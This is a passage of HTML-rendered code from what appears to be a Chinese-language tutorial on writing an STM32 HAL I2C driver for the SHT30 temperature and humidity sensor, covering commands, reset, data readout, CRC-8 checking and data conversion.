class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Read_Dat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eCheckCrc8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econst\u003c/span\u003e message\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e initial_value\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Dat_To_Float\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econst\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e temperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e humidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003eendif\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* INC_SHT30_H_ */\u003c/span\u003e\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"主要文件-sht30-c\"\u003e\u003ca href=\"#主要文件-sht30-c\" class=\"headerlink\" title=\"主要文件 sht30.c\"\u003e\u003c/a\u003e主要文件 \u003ccode\u003esht30.c\u003c/code\u003e\u003c/h3\u003e\u003cp\u003e先包含主要的一些头文件\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"stdio.h\"\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"i2c.h\"\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"token string\"\u003e\"sht30.h\"\u003c/span\u003e\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"发送指令\"\u003e\u003ca href=\"#发送指令\" class=\"headerlink\" title=\"发送指令\"\u003e\u003c/a\u003e发送指令\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief 向SHT30发送一条指令(16bit) * @param cmd —— SHT30指令(在SHT30_MODE中枚举定义) * @retval 成功返回HAL_OK*/\u003c/span\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eint\u003c/span\u003e \u003cspan class=\"token function\"\u003esht30_send_cmd\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSHT30_CMD cmd\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e cmd \u003cspan class=\"token operator\"\u003e\u003e\u003e\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e cmd\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_I2C_Master_Transmit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehi2c2\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_ADDR_WR\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"复位SHT30\"\u003e\u003ca href=\"#复位SHT30\" class=\"headerlink\" title=\"复位SHT30\"\u003e\u003c/a\u003e复位SHT30\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief 复位SHT30 * @param none * @retval none*/\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003esht30_soft_reset\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e\u003cspan class=\"token function\"\u003esht30_send_cmd\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSOFT_RESET_CMD\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_Delay\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e20\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"初始化SHT30\"\u003e\u003ca href=\"#初始化SHT30\" class=\"headerlink\" title=\"初始化SHT30\"\u003e\u003c/a\u003e初始化SHT30\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-C\" data-language=\"C\"\u003e\u003ccode class=\"language-C\"\u003e\u0026#x2F;** * @brief 初始化SHT30 * @param none * @retval 成功返回HAL_OK * @note 周期测量模式*\u0026#x2F;uint8_t SHT30_Init(void) \u0026#123;return sht30_send_cmd(MEDIUM_2_CMD);\u0026#125;\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"读取数据\"\u003e\u003ca href=\"#读取数据\" class=\"headerlink\" title=\"读取数据\"\u003e\u003c/a\u003e读取数据\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief 从SHT30读取一次数据 * @param dat —— 存储读取数据的地址(6个字节数组) * @retval 成功 —— 返回HAL_OK*/\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Read_Dat\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token function\"\u003esht30_send_cmd\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eREADOUT_FOR_PERIODIC_MODE\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_I2C_Master_Receive\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003ehi2c2\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e SHT30_ADDR_RD\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"CRC-8校验\"\u003e\u003ca href=\"#CRC-8校验\" class=\"headerlink\" title=\"CRC-8校验\"\u003e\u003c/a\u003eCRC-8校验\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token macro property\"\u003e\u003cspan class=\"token directive-hash\"\u003e#\u003c/span\u003e\u003cspan class=\"token directive keyword\"\u003edefine\u003c/span\u003e \u003cspan class=\"token macro-name\"\u003eCRC8_POLYNOMIAL\u003c/span\u003e \u003cspan class=\"token expression\"\u003e\u003cspan class=\"token number\"\u003e0x31\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eCheckCrc8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econst\u003c/span\u003e message\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e initial_value\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e remainder\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//余数\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e j \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//循环变量\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 初始化 */\u003c/span\u003e remainder \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e initial_value\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ej \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e j \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ej\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e remainder \u003cspan class=\"token operator\"\u003e^=\u003c/span\u003e message\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ej\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 从最高位开始依次计算 */\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e i\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eremainder \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x80\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e remainder \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eremainder \u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e^\u003c/span\u003eCRC8_POLYNOMIAL\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e remainder \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eremainder \u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 返回计算的CRC码 */\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e remainder\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"温湿度转换-1\"\u003e\u003ca href=\"#温湿度转换-1\" class=\"headerlink\" title=\"温湿度转换\"\u003e\u003c/a\u003e温湿度转换\u003c/h4\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/** * @brief 将SHT30接收的6个字节数据进行CRC校验,并转换为温度值和湿度值 * @param dat —— 存储接收数据的地址(6个字节数组) * @retval 校验成功 —— 返回0 * 校验失败 —— 返回1,并设置温度值和湿度值为0*/\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eSHT30_Dat_To_Float\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e \u003cspan class=\"token keyword\"\u003econst\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e temperature\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e humidity\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e recv_temperature \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e recv_humidity \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 校验温度数据和湿度数据是否接收正确 */\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eCheckCrc8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e!=\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e||\u003c/span\u003e \u003cspan class=\"token function\"\u003eCheckCrc8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e0xFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e!=\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e/* 转换温度数据 */\u003c/span\u003e recv_temperature \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e|\u003c/span\u003edat\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemperature \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e45\u003c/span\u003e \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e175\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efloat\u003c/span\u003e\u003cspan class=\"token 